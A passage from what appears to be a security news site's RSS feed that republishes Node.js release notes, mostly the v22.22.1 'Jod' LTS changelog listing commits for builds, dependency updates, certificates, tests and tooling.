<li>[<a href="https://github.com/nodejs/node/commit/8fdde5d110"><code>8fdde5d110</code></a>] - <strong>doc</strong>: fix v20 changelog after security release (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61371" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61371/hovercard">#61371</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/31d04599be"><code>31d04599be</code></a>] - <strong>http</strong>: fix keep-alive not timing out after post-request empty line (Shima Ryuhei) <a href="https://github.com/nodejs/node/pull/58178" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58178/hovercard">#58178</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5ec7d1eba0"><code>5ec7d1eba0</code></a>] - <strong>http2</strong>: validate initialWindowSize per HTTP/2 spec (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61402" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61402/hovercard">#61402</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c091d5a96"><code>5c091d5a96</code></a>] - <strong>meta</strong>: persist sccache daemon until end of build workflows (René) <a href="https://github.com/nodejs/node/pull/61639" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61639/hovercard">#61639</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/183353aba0"><code>183353aba0</code></a>] - <strong>path,win</strong>: fix bug in resolve and normalize (Hüseyin Açacak) <a href="https://github.com/nodejs/node/pull/55623" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/55623/hovercard">#55623</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dbe9e5091b"><code>dbe9e5091b</code></a>] - <strong>src</strong>: fix flags argument offset in JSUdpWrap (Weixie Cui) <a href="https://github.com/nodejs/node/pull/61948" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61948/hovercard">#61948</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4106bfc775"><code>4106bfc775</code></a>] - <strong>test</strong>: mark stringbytes-external-max flaky on AIX (Stewart X Addison) <a href="https://github.com/nodejs/node/pull/60995" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60995/hovercard">#60995</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/de51937306"><code>de51937306</code></a>] - <strong>test</strong>: mark stringbytes-external-exceed-max tests as flaky on AIX (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60565" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60565/hovercard">#60565</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/368b221be3"><code>368b221be3</code></a>] - <strong>test</strong>: fix flaky test-performance-eventloopdelay (Matteo Collina) <a href="https://github.com/nodejs/node/pull/61629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61629/hovercard">#61629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e134912a33"><code>e134912a33</code></a>] - <strong>test</strong>: fix flaky test-worker-message-port-transfer-filehandle test (Alex Yang) <a href="https://github.com/nodejs/node/pull/59158" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59158/hovercard">#59158</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5630170d3e"><code>5630170d3e</code></a>] - <strong>test</strong>: account for truthy signal in flaky async_hooks tests (Darshan Sen) <a href="https://github.com/nodejs/node/pull/58478" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58478/hovercard">#58478</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1e5363bb63"><code>1e5363bb63</code></a>] - <strong>test</strong>: mark <code>test-http2-debug</code> as flaky on LinuxONE (Richard Lau) <a href="https://github.com/nodejs/node/pull/58494" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58494/hovercard">#58494</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/662998787a"><code>662998787a</code></a>] - <strong>test</strong>: set <code>test-fs-cp</code> as flaky (Stefan Stojanovic) <a href="https://github.com/nodejs/node/pull/56799" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/56799/hovercard">#56799</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0807127339"><code>0807127339</code></a>] - <strong>test</strong>: mark <code>test-esm-loader-hooks-inspect-wait</code> flaky (Richard Lau) <a href="https://github.com/nodejs/node/pull/56803" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/56803/hovercard">#56803</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6320cd0721"><code>6320cd0721</code></a>] - <strong>test</strong>: skip strace test with shared openssl (Richard Lau) <a href="https://github.com/nodejs/node/pull/61987" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61987/hovercard">#61987</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/83b9f8ee02"><code>83b9f8ee02</code></a>] - <strong>tools</strong>: make nodedownload module compatible with Python 3.14 (Lumír 'Frenzy' Balhar) <a href="https://github.com/nodejs/node/pull/58752" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58752/hovercard">#58752</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6cf9b5786e"><code>6cf9b5786e</code></a>] - <strong>tools</strong>: enforce removal of <code>lts-watch-*</code> labels on release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61672" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61672/hovercard">#61672</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cd4161499c"><code>cd4161499c</code></a>] - <strong>tools</strong>: use ubuntu-slim runner in meta GitHub Actions (Tierney Cyren) <a href="https://github.com/nodejs/node/pull/61663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61663/hovercard">#61663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6dc2a99a0d"><code>6dc2a99a0d</code></a>] - <strong>tools</strong>: validate release commit diff as part of <code>lint-release-proposal</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61440" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61440/hovercard">#61440</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5014f22332"><code>5014f22332</code></a>] - <strong>tools</strong>: add read permission to workflows that read contents (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/58255" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58255/hovercard">#58255</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6c3ad2a5a3"><code>6c3ad2a5a3</code></a>] - <strong>tools</strong>: switch to ARM runners on GHA jobs (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61903" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61903/hovercard">#61903</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1abada9c34"><code>1abada9c34</code></a>] - <strong>tools</strong>: avoid building twice in coverage jobs (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61899/hovercard">#61899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f260e40127"><code>f260e40127</code></a>] - <strong>tools</strong>: use ubuntu-slim runner in GHA (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61759" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61759/hovercard">#61759</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/64beca5e01"><code>64beca5e01</code></a>] - <strong>tools</strong>: use ubuntu-slim runner in GHA (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/61734" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61734/hovercard">#61734</a></li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-03-05, Version 22.22.1 'Jod' (LTS)]]></title>
<description><![CDATA[Notable Changes

[7b93a65f27] - build: test on Python 3.14 (Christian Clauss) #59983
[6063d888fe] - cli: mark --heapsnapshot-near-heap-limit as stable (Joyee Cheung) #60956
[d950b151a2] - crypto: update root certificates to NSS 3.119 (Node.js GitHub Bot) #61419
[4f42f8c428] - crypto: update root ...]]></description>
<link>https://tsecurity.de/de/3487708/downloads/2026-03-05-version-22221-jod-lts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3487708/downloads/2026-03-05-version-22221-jod-lts/</guid>
<pubDate>Tue, 05 May 2026 02:03:08 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/7b93a65f27"><code>7b93a65f27</code></a>] - <strong>build</strong>: test on Python 3.14 (Christian Clauss) <a href="https://github.com/nodejs/node/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59983/hovercard">#59983</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6063d888fe"><code>6063d888fe</code></a>] - <strong>cli</strong>: mark <code>--heapsnapshot-near-heap-limit</code> as stable (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60956" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60956/hovercard">#60956</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d950b151a2"><code>d950b151a2</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.119 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61419" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61419/hovercard">#61419</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f42f8c428"><code>4f42f8c428</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.117 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60741" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60741/hovercard">#60741</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b6ebf2cd53"><code>b6ebf2cd53</code></a>] - <strong>doc</strong>: add avivkeller to collaborators (Aviv Keller) <a href="https://github.com/nodejs/node/pull/61115" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61115/hovercard">#61115</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/35854f424d"><code>35854f424d</code></a>] - <strong>doc</strong>: add gurgunday to collaborators (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/61094" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61094/hovercard">#61094</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5c6a076e5d"><code>5c6a076e5d</code></a>] - <strong>meta</strong>: add Renegade334 to collaborators (Renegade334) <a href="https://github.com/nodejs/node/pull/60714" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60714/hovercard">#60714</a></li>
</ul>
<h3>Commits</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/5f773488c2"><code>5f773488c2</code></a>] - <strong>assert</strong>: use a set instead of an array for faster lookup (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/61076" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61076/hovercard">#61076</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/feecbb0eab"><code>feecbb0eab</code></a>] - <strong>assert,util</strong>: fix deep comparison for sets and maps with mixed types (Ruben Bridgewater) <a href="https://github.com/nodejs/node/pull/61388" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61388/hovercard">#61388</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/096095b127"><code>096095b127</code></a>] - <strong>benchmark</strong>: add SQLite benchmarks (Guilherme Araújo) <a href="https://github.com/nodejs/node/pull/61401" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61401/hovercard">#61401</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b5fe481415"><code>b5fe481415</code></a>] - <strong>benchmark</strong>: use boolean options in benchmark tests (SeokhunEom) <a href="https://github.com/nodejs/node/pull/60129" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60129/hovercard">#60129</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fa9faacacb"><code>fa9faacacb</code></a>] - <strong>benchmark</strong>: allow boolean option values (SeokhunEom) <a href="https://github.com/nodejs/node/pull/60129" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60129/hovercard">#60129</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ba8714ac21"><code>ba8714ac21</code></a>] - <strong>benchmark</strong>: fix incorrect base64 input in byteLength benchmark (semimikoh) <a href="https://github.com/nodejs/node/pull/60841" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60841/hovercard">#60841</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/53596de876"><code>53596de876</code></a>] - <strong>benchmark</strong>: use typescript for import cjs benchmark (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60663" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60663/hovercard">#60663</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e8930e9d7c"><code>e8930e9d7c</code></a>] - <strong>benchmark</strong>: focus on import.meta intialization in import-meta benchmark (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60603" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60603/hovercard">#60603</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1155e412b1"><code>1155e412b1</code></a>] - <strong>benchmark</strong>: add per-suite setup option (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60574" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60574/hovercard">#60574</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e01903d304"><code>e01903d304</code></a>] - <strong>benchmark</strong>: improve cpu.sh for safety and usability (Nam Yooseong) <a href="https://github.com/nodejs/node/pull/60162" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60162/hovercard">#60162</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/623a405747"><code>623a405747</code></a>] - <strong>benchmark</strong>: add benchmark for leaf source text modules (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60205" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60205/hovercard">#60205</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f5e7b9f7f"><code>7f5e7b9f7f</code></a>] - <strong>benchmark</strong>: add microbench on isInsideNodeModules (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60991" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60991/hovercard">#60991</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db132b85a8"><code>db132b85a8</code></a>] - <strong>bootstrap</strong>: initialize http proxy after user module loader setup (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/58938" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/58938/hovercard">#58938</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/66aab9f987"><code>66aab9f987</code></a>] - <strong>buffer</strong>: let Buffer.of use heap (Сковорода Никита Андреевич) <a href="https://github.com/nodejs/node/pull/60503" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60503/hovercard">#60503</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c3cf00c671"><code>c3cf00c671</code></a>] - <strong>buffer</strong>: speed up concat via TypedArray#set (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60399" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60399/hovercard">#60399</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f6fad231e9"><code>f6fad231e9</code></a>] - <strong>build</strong>: skip sscache action on non-main branches (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61790" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61790/hovercard">#61790</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2145f91f6b"><code>2145f91f6b</code></a>] - <strong>build</strong>: update android-patches/trap-handler.h.patch (Mo Luo) <a href="https://github.com/nodejs/node/pull/60369" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60369/hovercard">#60369</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b49759dd8"><code>5b49759dd8</code></a>] - <strong>build</strong>: update devcontainer.json to use paired nix env (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/61414" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61414/hovercard">#61414</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/24724cde40"><code>24724cde40</code></a>] - <strong>build</strong>: fix misplaced comma in ldflags (hqzing) <a href="https://github.com/nodejs/node/pull/61294" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61294/hovercard">#61294</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c57a19934e"><code>c57a19934e</code></a>] - <strong>build</strong>: fix crate vendor file checksums on windows (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61329" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61329/hovercard">#61329</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8659d7cd07"><code>8659d7cd07</code></a>] - <strong>build</strong>: fix inconsistent quoting in <code>Makefile</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/60511" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60511/hovercard">#60511</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44f339b315"><code>44f339b315</code></a>] - <strong>build</strong>: remove temporal updater (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61151" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61151/hovercard">#61151</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d60a6cebd5"><code>d60a6cebd5</code></a>] - <strong>build</strong>: update test-wpt-report to use NODE instead of OUT_NODE (Filip Skokan) <a href="https://github.com/nodejs/node/pull/61024" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61024/hovercard">#61024</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/34ccf187f5"><code>34ccf187f5</code></a>] - <strong>build</strong>: skip build-ci on actions with a separate test step (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/61073" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61073/hovercard">#61073</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7b19e101a2"><code>7b19e101a2</code></a>] - <strong>build</strong>: run embedtest with node_g when BUILDTYPE=Debug (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/60850" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60850/hovercard">#60850</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9408c4459f"><code>9408c4459f</code></a>] - <strong>build</strong>: upgrade Python linter ruff, add rules ASYNC,PERF (Christian Clauss) <a href="https://github.com/nodejs/node/pull/59984" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59984/hovercard">#59984</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2166ec7f0f"><code>2166ec7f0f</code></a>] - <strong>build</strong>: use call command when calling python configure (Jacob Nichols) <a href="https://github.com/nodejs/node/pull/60098" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60098/hovercard">#60098</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/73ef70145d"><code>73ef70145d</code></a>] - <strong>build</strong>: remove V8_COMPRESS_POINTERS_IN_ISOLATE_CAGE defs (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60296" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60296/hovercard">#60296</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7b93a65f27"><code>7b93a65f27</code></a>] - <strong>build</strong>: test on Python 3.14 (Christian Clauss) <a href="https://github.com/nodejs/node/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59983/hovercard">#59983</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/508ce6ec6c"><code>508ce6ec6c</code></a>] - <strong>build, src</strong>: fix include paths for vtune files (Rahul) <a href="https://github.com/nodejs/node/pull/59999" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59999/hovercard">#59999</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c89d3cd570"><code>c89d3cd570</code></a>] - <strong>build,tools</strong>: fix addon build deadlock on errors (Vladimir Morozov) <a href="https://github.com/nodejs/node/pull/61321" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61321/hovercard">#61321</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/40904a0591"><code>40904a0591</code></a>] - <strong>build,win</strong>: update WinGet configurations to Python 3.14 (Mike McCready) <a href="https://github.com/nodejs/node/pull/61431" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61431/hovercard">#61431</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6d6742e7db"><code>6d6742e7db</code></a>] - <strong>child_process</strong>: treat ipc length header as unsigned uint32 (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/61344" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61344/hovercard">#61344</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6063d888fe"><code>6063d888fe</code></a>] - <strong>cli</strong>: mark --heapsnapshot-near-heap-limit as stable (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60956" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60956/hovercard">#60956</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3d324a0f88"><code>3d324a0f88</code></a>] - <strong>cluster</strong>: fix port reuse between cluster (Ryuhei Shima) <a href="https://github.com/nodejs/node/pull/60141" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60141/hovercard">#60141</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/40a58709b4"><code>40a58709b4</code></a>] - <strong>console</strong>: optimize single-string logging (Gürgün Dayıoğlu) <a href="https://github.com/nodejs/node/pull/60422" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60422/hovercard">#60422</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d950b151a2"><code>d950b151a2</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.119 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61419" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61419/hovercard">#61419</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4f42f8c428"><code>4f42f8c428</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.117 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60741" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60741/hovercard">#60741</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a87499ae25"><code>a87499ae25</code></a>] - <strong>crypto</strong>: ensure documented RSA-PSS saltLength default is used (Filip Skokan) <a href="https://github.com/nodejs/node/pull/60662" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60662/hovercard">#60662</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8c65cc11e2"><code>8c65cc11e2</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.116 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/59956" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/59956/hovercard">#59956</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/91dc00a2c1"><code>91dc00a2c1</code></a>] - <strong>debugger</strong>: fix event listener leak in the run command (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/60464" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60464/hovercard">#60464</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0781bd3764"><code>0781bd3764</code></a>] - <strong>deps</strong>: V8: backport 6a0a25abaed3 (Vivian Wang) <a href="https://github.com/nodejs/node/pull/61688" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61688/hovercard">#61688</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/0cf1f9c3e9"><code>0cf1f9c3e9</code></a>] - <strong>deps</strong>: update googletest to 85087857ad10bd407cd6ed2f52f7ea9752db621f (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61417" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61417/hovercard">#61417</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/521b4b1f07"><code>521b4b1f07</code></a>] - <strong>deps</strong>: update sqlite to 3.51.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61339" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61339/hovercard">#61339</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/58b9d219a3"><code>58b9d219a3</code></a>] - <strong>deps</strong>: update icu to 78.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60523" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60523/hovercard">#60523</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cbc1e4306d"><code>cbc1e4306d</code></a>] - <strong>deps</strong>: update zlib to 1.3.1-e00f703 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61135" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61135/hovercard">#61135</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/db59c35ed8"><code>db59c35ed8</code></a>] - <strong>deps</strong>: update cjs-module-lexer to 2.2.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61271" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61271/hovercard">#61271</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c18518ee3c"><code>c18518ee3c</code></a>] - <strong>deps</strong>: update nbytes to 0.1.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61270" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61270/hovercard">#61270</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/376df62d63"><code>376df62d63</code></a>] - <strong>deps</strong>: update timezone to 2025c (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61138" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61138/hovercard">#61138</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/993e905302"><code>993e905302</code></a>] - <strong>deps</strong>: update simdjson to 4.2.4 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61056" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61056/hovercard">#61056</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b72fd2a5d3"><code>b72fd2a5d3</code></a>] - <strong>deps</strong>: update googletest to 065127f1e4b46c5f14fc73cf8d323c221f9dc68e (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/61055" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61055/hovercard">#61055</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d765147405"><code>d765147405</code></a>] - <strong>deps</strong>: update sqlite to 3.51.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60899" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60899/hovercard">#60899</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/37abe2a7d2"><code>37abe2a7d2</code></a>] - <strong>deps</strong>: update zlib to 1.3.1-63d7e16 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60898/hovercard">#60898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/97241fcb86"><code>97241fcb86</code></a>] - <strong>deps</strong>: update sqlite to 3.51.0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60614" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60614/hovercard">#60614</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3669c7b4f4"><code>3669c7b4f4</code></a>] - <strong>deps</strong>: update simdjson to 4.2.2 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60740" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60740/hovercard">#60740</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9a056ec89c"><code>9a056ec89c</code></a>] - <strong>deps</strong>: update googletest to 1b96fa13f549387b7549cc89e1a785cf143a1a50 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60739" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60739/hovercard">#60739</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b5803b3ea0"><code>b5803b3ea0</code></a>] - <strong>deps</strong>: update minimatch to 10.1.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60543" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60543/hovercard">#60543</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5bf99f3d46"><code>5bf99f3d46</code></a>] - <strong>deps</strong>: update cjs-module-lexer to 2.1.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60646" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60646/hovercard">#60646</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/801f187357"><code>801f187357</code></a>] - <strong>deps</strong>: update simdjson to 4.2.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/60644" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60644/hovercard">#60644</a></li>
